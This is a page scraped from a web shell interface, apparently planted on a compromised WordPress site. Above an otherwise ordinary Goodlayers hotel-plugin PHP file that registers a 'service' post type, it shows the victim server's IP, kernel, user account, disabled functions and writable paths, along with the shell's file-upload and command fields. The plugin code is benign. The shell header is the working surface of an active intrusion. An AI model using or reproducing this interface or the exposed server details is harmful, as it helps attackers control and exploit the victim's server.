403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/nasut.ru/wp-content/plugins/gdlr-hotel/framework/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/nasut.ru/wp-content/plugins/gdlr-hotel/framework/gdlr-service-option.php
<?php
	/*	
	*	Goodlayers Services Option file
	*	---------------------------------------------------------------------
	*	This file creates all service options and attached to the theme
	*	---------------------------------------------------------------------
	*/

	// add action to create service post type
	add_action( 'init', 'gdlr_create_service' );
	if( !function_exists('gdlr_create_service') ){
		function gdlr_create_service() {
			register_post_type( 'service',
				array(
					'labels' => array(
						'name'               => __('Services', 'gdlr-hostel'),
						'singular_name'      => __('Service', 'gdlr-hostel'),
						'add_new'            => __('Add New', 'gdlr-hostel'),
						'add_new_item'       => __('Add New Service', 'gdlr-hostel'),
						'edit_item'          => __('Edit Service', 'gdlr-hostel'),
						'new_item'           => __('New Service', 'gdlr-hostel'),
						'all_items'          => __('All Service', 'gdlr-hostel'),
						'view_item'          => __('View Service', 'gdlr-hostel'),
						'search_items'       => __('Search Service', 'gdlr-hostel'),
						'not_found'          => __('No service found', 'gdlr-hostel'),
						'not_found_in_trash' => __('No service found in Trash', 'gdlr-hostel'),
						'parent_item_colon'  => '',
						'menu_name'          => __('Service', 'gdlr-hostel')
					),
					'public'             => true,
					'publicly_queryable' => true,
					'show_ui'            => true,
					'show_in_menu'       => true,
					'query_var'          => true,
					'rewrite'            => false,
					'capability_type'    => 'post',
					'has_archive'        => true,
					'hierarchical'       => false,
					'menu_position'      => 5,
					'supports'           => array( 'title', 'custom-fields' )
				)
			);
			
			// add filter to style single template
			add_filter('single_template', 'gdlr_register_service_template');
		}
	}	
	
	if( !function_exists('gdlr_register_service_template') ){
		function gdlr_register_service_template($template){
			if( get_post_type() == 'service' ){
				$template = GDLR_LOCAL_PATH . '/404.php';
			}
			return $template;
		}
	}
	
	// add a room option to room page
	if( is_admin() ){ add_action('init', 'gdlr_create_service_options', 11); }
	if( !function_exists('gdlr_create_service_options') ){
		function gdlr_create_service_options(){
			if( !class_exists('gdlr_page_options') ) return;
			
			$branches = array();
		
			global $hotel_option;
			if( !empty($hotel_option['enable-hotel-branch']) && $hotel_option['enable-hotel-branch'] == 'enable' ){ 
				$branches = array_merge($branches, array(
					'branches' => array(
						'title' => __('Assign to Hotel Branches' , 'gdlr-hostel'),
						'type' => 'multi-combobox',
						'options' => gdlr_get_term_id_list('room_category'),
						'custom_field' => 'gdlr-branches'
					),
				));
			}
			
			global $hostel_option;
			if( !empty($hostel_option['enable-hotel-branch']) && $hostel_option['enable-hotel-branch'] == 'enable' ){ 
				$branches = array_merge($branches, array(
					'hostel-branches' => array(
						'title' => __('Assign to Hostel Branches' , 'gdlr-hostel'),
						'type' => 'multi-combobox',
						'options' => gdlr_get_term_id_list('hostel_room_category'),
						'custom_field' => 'gdlr-hostel-branches'
					),
				));
			}
			
			new gdlr_page_options(
				
				// page option attribute
				array(
					'post_type' => array('service'),
					'meta_title' => __('Goodlayers Service Option', 'gdlr-hostel'),
					'meta_slug' => 'goodlayers-page-option',
					'option_name' => 'post-option',
					'position' => 'normal',
					'priority' => 'high',
				),
				
				array(
					'page-layout' => array(
						'title' => __('Option', 'gdlr-hostel'),
						'options' => array_merge(array(
							'service-type' => array(
								'title' => __('Service Type' , 'gdlr-hostel'),
								'type' => 'combobox',
								'options' => array(
									'regular-service' => __('Regular Service' , 'gdlr-hostel'),
									'parking-service' => __('Parking Service' , 'gdlr-hostel'),
								)
							),
							'always-enable' => array(
								'title' => __('Always Enable ( Customer will be unable to deselect this option )' , 'gdlr-hotel'),
								'type' => 'checkbox',
								'default' => 'disable',
								'wrapper-class' => 'service-type-wrapper regular-service-wrapper'
							),
							'price' => array(
								'title' => __('Price (*Only Number)' , 'gdlr-hostel'),
								'type' => 'text',
								'wrapper-class' => 'four columns'
							),
							'per' => array(
								'title' => __('Per' , 'gdlr-hostel'),
								'type' => 'combobox',
								'options' => array(
									'guest' => __('Guest' , 'gdlr-hostel'),
									'room' => __('Room' , 'gdlr-hostel'),
									'group' => __('Group' , 'gdlr-hostel'),
								),
								'wrapper-class' => 'service-type-wrapper regular-service-wrapper four columns no-action'
							),
							'car' => array(
								'title' => __('Per' , 'gdlr-hostel'),
								'type' => 'combobox',
								'options' => array(
									'car' => __('Car/Unit' , 'gdlr-hostel'),
									'group' => __('Group' , 'gdlr-hostel'),
								),
								'wrapper-class' => 'service-type-wrapper parking-service-wrapper four columns no-action'
							),
							'unit' => array(
								'title' => __('Per' , 'gdlr-hostel'),
								'type' => 'combobox',
								'options' => array(
									'night' => __('Night' , 'gdlr-hostel'),
									'trip' => __('Trip' , 'gdlr-hostel'),
								),
								'wrapper-class' => 'four columns'
							),
							'clear-1' => array( 'type' => 'clear' ),

							'car-unit' => array(
								'title' => __('Car Unit ( Default To Cars )', 'gdlr-hostel'),
								'type' => 'text',
								'wrapper-class' => 'service-type-wrapper parking-service-wrapper car-wrapper'
							),
						), $branches)
					),
				)
			);
		}
	}
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit